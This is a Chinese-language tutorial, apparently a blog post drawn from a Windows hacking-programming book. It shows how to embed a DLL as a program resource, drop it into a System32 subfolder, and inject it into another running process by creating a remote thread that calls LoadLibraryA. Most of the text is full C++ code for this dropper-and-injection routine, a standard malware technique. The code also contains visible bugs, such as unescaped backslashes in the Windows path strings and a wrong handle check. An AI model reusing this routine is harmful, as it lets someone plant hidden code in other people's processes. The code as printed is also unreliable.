整体流程为:添加资源 -> 资源释放 -> 写入文件
添加资源
下面以Visual Studio 2015举例
选择要导入的dll文件
资源类型填写"DLL"
添加完成后会生成resource.h头文件和Project4.rc资源文件
打开resource.h头文件,可以看到定义了IDR_DLL1,这个常量后面会用到
资源释放
资源释放要用到4个Windows API
// 确定模块中指定类型和名称的资源所在位置。 HRSRC FindResourceW( HMODULE hModule, // 处理包含资源的可执行文件模块,NULL表示系统从当前进程的模块中装载资源。 LPCWSTR lpName, // 指定资源名称,MAKEINTRESOURCE类型,这里是MAKEINTRESOURCE(IDR_DLL1)或MAKEINTRESOURCE(101),IDR_DLL1是resource.h中定义的常量。 LPCWSTR lpType // 指定资源类型,这里是"DLL"。 ); // 获取指定资源的字节数。 DWORD SizeofResource( HMODULE hModule, // 包含资源的可执行文件模块的句柄。NULL表示系统从当前进程的模块中装载资源。 HRSRC hResInfo // 资源句柄。此句柄必须由函数FindResource或FindResourceEx来创建。 ); // 装载指定资源到全局存储器。 HGLOBAL LoadResource( HMODULE hModule, // 处理资源可执行文件的模块句柄。NULL表示系统从当前进程的模块中装载资源。 HRSRC hResInfo // 资源句柄。此句柄必须由函数FindResource或FindResourceEx来创建。 ); // 锁定资源并得到资源在内存中第一个字节的指针。 LPVOID LockResource( HGLOBAL hResData // 装载资源的句柄。函数LoadResource可以返回这个句柄。 );
写入文件
写入文件也要用到4个Windows API:
// 从堆中分配指定数量的字节。 DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc( UINT uFlags, // 内存分配属性。GPTR表示分配固定内存。返回值是一个指针,并将内存内容初始化为零。 SIZE_T dwBytes // 要分配的字节数。 ); // 将一块内存从一个位置复制到另一个位置。 void CopyMemory( _In_ PVOID Destination, // 指向复制块目标起始地址的指针。 _In_ const VOID *Source, // 指向要复制的内存块起始地址的指针。 _In_ SIZE_T Length // 要复制的内存块的大小,以字节为单位。 ); // 此函数创建、打开或截断文件、COM 端口、设备、服务或控制台。它返回一个句柄来访问对象。 HANDLE CreateFile( LPCTSTR lpFileName, // 要创建文件的路径。 DWORD dwDesiredAccess, // 访问对象的类型。GENERIC_WRITE表示对对象的写访问。数据可以写入文件,文件指针可以移动。 DWORD dwShareMode, // 对象的共享模式。如果此参数设置为零,则无法共享对象。对对象的后续打开操作将失败,直到句柄关闭。 LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 未使用。 DWORD dwCreationDisposition, // 对存在的文件采取的行动,以及在文件不存在时采取的行动。CREATE_ALWAYS表示创建一个新文件。如果文件存在,该函数将覆盖该文件并清除现有属性。 DWORD dwFlagsAndAttributes, // 文件的文件属性和标志。 HANDLE hTemplateFile // 忽略 ); // 将数据写入指定的文件或输入/输出 (I/O) 设备。 BOOL WriteFile( HANDLE hFile, //文件的句柄,该文件必须已创建且有写权限。 LPCVOID lpBuffer, // 指向包含要写入文件或设备的数据的缓冲区的指针。该缓冲区必须在写操作期间保持有效。在写操作完成之前,调用者不得使用此缓冲区。 DWORD nNumberOfBytesToWrite, // 要写入文件或设备的字节数。 LPDWORD lpNumberOfBytesWritten, // 一个指向接收使用同步hFile参数时写入的字节数的变量的指针。 LPOVERLAPPED lpOverlapped // 这里是NULL。 );
编程实现
#include <stdio.h> #include <Windows.h> #include "resource4.h" void ShowError(char *pszText) { char szErr[MAX_PATH] = { 0 }; ::wsprintf(szErr, "%s Error[%d] ", pszText, ::GetLastError()); ::MessageBox(NULL, szErr, "ERROR", MB_OK); } bool CreateMyFile(char* strFilePath, LPBYTE lpBuffer, DWORD dwSize) { DWORD dwWritten; HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); if (hFile != NULL) { WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL); } else { return false; } CloseHandle(hFile); return true; } bool CreateEXE(char* strFilePath, int nResourceID, char* strResourceName) { HRSRC hResInfo; HGLOBAL hResData; DWORD dwSize; LPBYTE p; // 查找所需的资源 hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName); if (hResInfo == NULL) { MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION); return false; } // 获得资源尺寸 dwSize = SizeofResource(NULL, hResInfo); // 装载资源 hResData = LoadResource(NULL, hResInfo); if (hResData == NULL) { MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION); return false; } // 为数据分配空间 p = (LPBYTE)GlobalAlloc(GPTR, dwSize); if (p == NULL) { MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION); return false; } // 复制资源数据 CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize); bool bRet = CreateMyFile(strFilePath, p, dwSize); if (!bRet) { GlobalFree((HGLOBAL)p); return false; } GlobalFree((HGLOBAL)p); return true; } BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName) { HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 在注入进程中申请内存 dwSize = 1 + ::lstrlen(pszDllFileName); pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } // 向申请的内存中写入数据 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入 HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL); if (NULL == hRemoteThread) { ShowError("CreateRemoteThread"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); return TRUE; } int main() { CreateEXE("C:\Windows\System32\0409\a.dll", IDR_DLL1, "DLL"); // 远线程注入 DLL BOOL bRet = CreateRemoteThreadInjectDll(9120, "C:\Windows\System32\0409\a.dll"); if (FALSE == bRet) { printf("Inject Dll Error. "); } printf("Inject Dll OK. "); system("pause"); return 0; }
参考:《Windows黑客编程技术详解》
https://blog.csdn.net/sunjikui1255326447/article/details/90520970